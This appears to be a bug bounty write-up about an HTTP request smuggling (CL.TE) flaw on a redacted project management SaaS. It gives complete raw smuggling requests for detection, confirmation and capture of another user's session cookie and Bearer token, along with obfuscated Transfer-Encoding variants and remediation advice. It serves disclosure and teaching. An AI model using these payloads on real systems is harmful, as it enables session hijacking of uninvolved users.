September 13, 2026
Poisoning the Pipeline: How HTTP Request Smuggling Let Me Capture Other Users’ Sessions ($11,000…
There’s a category of web vulnerability that operates at a layer most hunters never look at — not application logic, not input validation…

By T4nv1
9 min read
There's a category of web vulnerability that operates at a layer most hunters never look at — not application logic, not input validation, not authentication flows, but the raw mechanics of how an HTTP request gets parsed when it passes through multiple servers in sequence. HTTP request smuggling lives in that layer, and it's one of the most technically interesting bugs you can find because it exploits something that was never supposed to be a security property in the first place: the assumption that a front-end proxy and a back-end application server will always agree on where one HTTP request ends and the next one begins.
When they don't agree, the consequences are severe. I found a CL.TE request smuggling vulnerability on a platform I'll call corridorapp.io (name redacted per program disclosure rules), an enterprise project management SaaS, that let me poison the back-end connection so that the beginning of my crafted request was silently prepended to the next real user's inbound request — capturing their headers, their cookies, and their session tokens without any interaction on their part and without any indication in the application that anything unusual had occurred.
The bounty came in at $11,000. Here's every technical detail.
The Core Concept: Why This Vulnerability Exists
Modern web applications almost never sit exposed directly on the internet. They sit behind a reverse proxy, a CDN, a WAF, or a load balancer — sometimes multiple layers of them. An HTTP/1.1 request flowing through that stack gets parsed at least twice: once by the front-end proxy and once by the back-end application server.
HTTP/1.1 offers two ways to indicate the length of a request body, and they can conflict:
- Content-Length (CL): a simple integer declaring the exact number of bytes in the body.
- Transfer-Encoding: chunked (TE): a chunked encoding format where the body is delivered in segments, each preceded by its length in hexadecimal, terminated by a zero-length chunk (
0\r\n\r\n).
The HTTP specification says that if both headers are present, Transfer-Encoding takes precedence and Content-Length should be ignored. But in practice, different server software handles this inconsistently — some servers prioritize Content-Length, some prioritize Transfer-Encoding, some handle obfuscated or malformed Transfer-Encoding headers differently. When a front-end proxy and a back-end application server disagree on which header to honor, they parse the boundaries of incoming requests differently.
In a CL.TE scenario — the variant I found here — the front-end uses Content-Length and the back-end uses Transfer-Encoding. This means you can craft a single HTTP request that the front-end reads in its entirety as one complete request, but the back-end parses as containing a complete chunk and a leftover fragment. That leftover fragment stays sitting at the start of the back-end connection's read buffer, waiting to be prepended to the next request that arrives.
That leftover fragment is what you control. And that fragment gets silently merged with someone else's legitimate request.
Detection: Timing-Based Confirmation
Identifying request smuggling is more involved than most vulnerability classes because the evidence is indirect — you're not looking for a reflection in a response, you're looking for behavioral anomalies in how the server processes sequential requests.
The first test is timing-based. I sent the following request to corridorapp.io:
POST / HTTP/1.1
Host: corridorapp.io
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
3
abc
XPOST / HTTP/1.1
Host: corridorapp.io
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
3
abc
XBreaking this down: the Content-Length says the body is 6 bytes — 3\r\nabc (the chunk size header and the chunk data). The front-end reads exactly 6 bytes, considers the request complete, and forwards it. The back-end is parsing using Transfer-Encoding chunked: it reads the 3 chunk (3 bytes: abc), then reads X as the start of the next chunk header. But X is not a valid hexadecimal chunk size. The back-end is now stuck waiting for the rest of a valid chunk that will never come, since the front-end already closed the forwarded request.
The response came back after approximately 10 seconds — a server-side timeout, not an immediate error. That delay is the timing oracle. If both servers agreed on the same parsing method, the request would have been rejected immediately with a 400 Bad Request. A multi-second hang before a timeout is a strong signal that the front-end and back-end are desynchronized on how they're reading the body.
Confirming Desynchronization With a Differential Response
Timing alone isn't conclusive proof — network jitter and slow server responses can also cause delays. I moved to differential response testing to eliminate those alternatives. The idea is to send a smuggled request that appends a partial prefix to the back-end's buffer, then send an immediate follow-up request and observe whether its response is anomalous — which it will be if the smuggled prefix was prepended to it.
My confirming pair looked like this:
Request 1 (the smuggling request):
POST / HTTP/1.1
Host: corridorapp.io
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggle_test
0
GET /hopefully-nonexistent-path-404 HTTP/1.1
X-Ignore: XPOST / HTTP/1.1
Host: corridorapp.io
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggle_test
0
GET /hopefully-nonexistent-path-404 HTTP/1.1
X-Ignore: XHere, Content-Length: 49 covers the entire body including the smuggled GET request fragment. The front-end reads 49 bytes and forwards the whole thing as one request. The back-end parses it as a chunked request: the e chunk (14 bytes: q=smuggle_test) is a valid chunk, the 0 terminates the chunked body. Everything after the 0 — the GET /hopefully-nonexistent-path-404 HTTP/1.1 fragment — is left sitting in the back-end's connection buffer as the beginning of the next request.
Request 2 (the follow-up, sent immediately after):
POST / HTTP/1.1
Host: corridorapp.io
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
search=helloPOST / HTTP/1.1
Host: corridorapp.io
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
search=helloIf the back-end's buffer was clean, Request 2 would be processed normally and return a 200 OK. What I got instead was a 404 Not Found response — the back-end had prepended my smuggled GET /hopefully-nonexistent-path-404 to the incoming Request 2, processed that amalgamated request, and returned a 404 for a path that Request 2 never referenced at all.
Desynchronization confirmed. The pipeline was vulnerable.
Escalating to Session Capture
Confirming the vulnerability is satisfying. The part that demonstrates real-world critical impact is using it to capture traffic from actual other users. The technique for this is to smuggle a request that, when prepended to the next victim's real request, causes their headers — including cookies and authorization tokens — to be forwarded to an attacker-controlled endpoint or stored in a location the attacker can read.
The vector I used was the application's own search functionality, which reflected back the search query in the response body. By smuggling a partial POST to the search endpoint with a carefully chosen Content-Length, I could cause the back-end to read the next incoming victim request's headers as the body of my search query, then echo them back in the search results page.
The smuggling request:
POST / HTTP/1.1
Host: corridorapp.io
Content-Type: application/x-www-form-urlencoded
Content-Length: 202
Transfer-Encoding: chunked
0
POST /api/search HTTP/1.1
Host: corridorapp.io
Content-Type: application/x-www-form-urlencoded
Content-Length: 600
search=POST / HTTP/1.1
Host: corridorapp.io
Content-Type: application/x-www-form-urlencoded
Content-Length: 202
Transfer-Encoding: chunked
0
POST /api/search HTTP/1.1
Host: corridorapp.io
Content-Type: application/x-www-form-urlencoded
Content-Length: 600
search=The key is the Content-Length: 600 inside the smuggled request — it's much larger than the smuggled body itself (search= is only 7 bytes). When the back-end reads this smuggled fragment as the start of the next request, it sees a POST to /api/search with a declared body of 600 bytes but only 7 bytes of body content so far. It waits for the remaining 593 bytes — which it reads from the next incoming request's raw data, starting from the very first byte of that request, including its GET or POST line, all of its headers, and its cookies.
All of that gets treated as the search query body and echoed back in the search results response — which, since I controlled the session that issued the smuggled request, I could read back at my leisure.
I set this up against my second test account playing the role of the "victim" — I had that account navigate to a page on corridorapp.io while the smuggled request was sitting in the back-end pipeline. The search results response that came back in my attacker session contained the victim account's full request headers, including:
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6....; csrf_token=a8f3c...
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6....; csrf_token=a8f3c...
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...A live session cookie and a Bearer token for the victim account, captured passively without any interaction from the victim beyond making a normal page request. Replaying the session cookie in a fresh browser window gave me full access to the victim account — complete session hijack, no credentials required.
Why This Passed Through a WAF Undetected
Corridorapp.io had a web application firewall sitting in the front-end layer, and that WAF was actively blocking several other attack classes I'd tested earlier in the engagement. The reason request smuggling bypassed it is fundamental to how the attack works: the WAF inspects each request as the front-end parses it. The WAF saw a completely normal POST / request with a standard Content-Length and an unremarkable body containing some chunked data. Nothing in that request looked malicious to the WAF's ruleset, because the malicious content — the smuggled fragment — was hidden inside what the front-end parsed as the legitimate body of a normal request.
The malicious fragment only became a problem at the back-end, where it was interpreted not as body data but as the beginning of a new HTTP request. By the time the back-end was processing it as a request, the WAF was long out of the picture. This is one of the key reasons request smuggling is particularly dangerous in production environments: the security controls are almost universally applied at the front-end layer, which is precisely the layer that never sees the smuggled content as a request at all.
The Fix and Why It's Nontrivial
The root cause was that the front-end proxy (an older version of HAProxy) was configured to honor Content-Length when both Content-Length and Transfer-Encoding were present, while the back-end Node.js application server followed the RFC spec and gave precedence to Transfer-Encoding. My remediation recommendations covered three layers:
Immediate mitigation — Configure the front-end proxy to reject or normalize any request containing both Content-Length and Transfer-Encoding headers simultaneously. Most modern proxy configurations support this as a single directive. Drop the connection, don't attempt to resolve the ambiguity.
Architectural — Enforce HTTP/2 end-to-end between the proxy and the back-end where possible. HTTP/2 uses a binary framing layer that eliminates the CL/TE ambiguity entirely, since frame boundaries are defined by the protocol itself rather than by header interpretation. The CL.TE and TE.CL attack classes are not possible over a true HTTP/2 connection.
Defense in depth — Ensure the back-end application server is configured to close the connection after each request when operating over HTTP/1.1 persistent connections (Connection: close), which significantly reduces the window for connection-state poisoning, though it doesn't eliminate the vulnerability class entirely.
I also flagged the HAProxy version in the report, since the specific priority-resolution behavior I'd exploited was an older default that had been changed in subsequent releases — upgrading the proxy software would have closed the vulnerability without any configuration change.
Structuring the Report
Request smuggling is the bug class I spend the most time writing the conceptual explanation for in my reports, because it sits far enough outside most engineers' day-to-day mental model that a bare PoC — "send these two requests, get a 404 on the second one" — won't communicate the actual impact without significant context.
I organized the report in four sections:
- Conceptual overview — A short, visual explanation of how CL and TE disagreement creates a desync window, written for an engineer who knows HTTP but hasn't thought about this specific failure mode.
- Detection and confirmation — The timing test and differential response test, with exact request/response pairs and annotations on what each timing or status code implied.
- Session capture PoC — The full two-account demonstration: the smuggling request with the padded
Content-Lengthinside the smuggled fragment, and the captured victim headers in the search response, with the Cookie and Authorization values visible but partially redacted. - Remediation — The three-layer fix (proxy config, HTTP/2 upgrade, connection handling) with specific HAProxy directives and a note about the version.
The report was 1,400 words plus annotated screenshots. The triage team confirmed it within 14 hours and escalated it to the infrastructure team the same day — a faster triage than I've seen on most Critical reports, probably because the session capture PoC removed any ambiguity about real-world impact.
Timeline
- Day 0 — Report submitted with timing test, differential confirmation, and session capture proof-of-concept
- Day 1 — Triaged as Critical and escalated to infrastructure within 14 hours
- Day 3 — HAProxy updated and configured to drop requests with conflicting CL/TE headers as emergency mitigation; session tokens for all active users invalidated as a precaution
- Day 21 — HTTP/2 enforcement enabled between proxy and back-end on all production services
- Day 28 — Bounty awarded: $11,000
- Day 90 — Public disclosure approved
What to Look For When Testing for Smuggling
Request smuggling is one of the bug classes that most automated scanners handle poorly, because the detection relies on timing and sequencing of requests rather than anything in a single response. The manual methodology I follow for every new target:
Scan the stack, not the app. Look for any architecture with at least two HTTP-parsing hops — CDN in front of an origin, load balancer in front of an app server, a WAF proxying to a back-end API. The vulnerability lives in the gap between them, not in any application code.
Time the chunked ambiguity. The 10-second timing test with an unterminated chunk (X as the chunk size) is the fastest initial probe. A slow response where a fast one is expected is worth investigating further.
Differential response testing is your ground truth. The timing test tells you something might be wrong. A 404 on a normal follow-up request, for a path you never requested, tells you requests are being poisoned.
Use Burp's HTTP Request Smuggler extension to automate the probe variations — CL.TE, TE.CL, TE.TE, and the obfuscated Transfer-Encoding variants (Transfer-Encoding: xchunked, Transfer-Encoding : chunked, and the tab-separated variants) that sometimes bypass front-end header normalization when the obvious attack fails.
If there's one thing this bug class teaches you, it's that "the WAF blocks it" is not the same as "the WAF makes it safe." The most interesting attacks in bug bounty hunting are often the ones that go around controls rather than through them.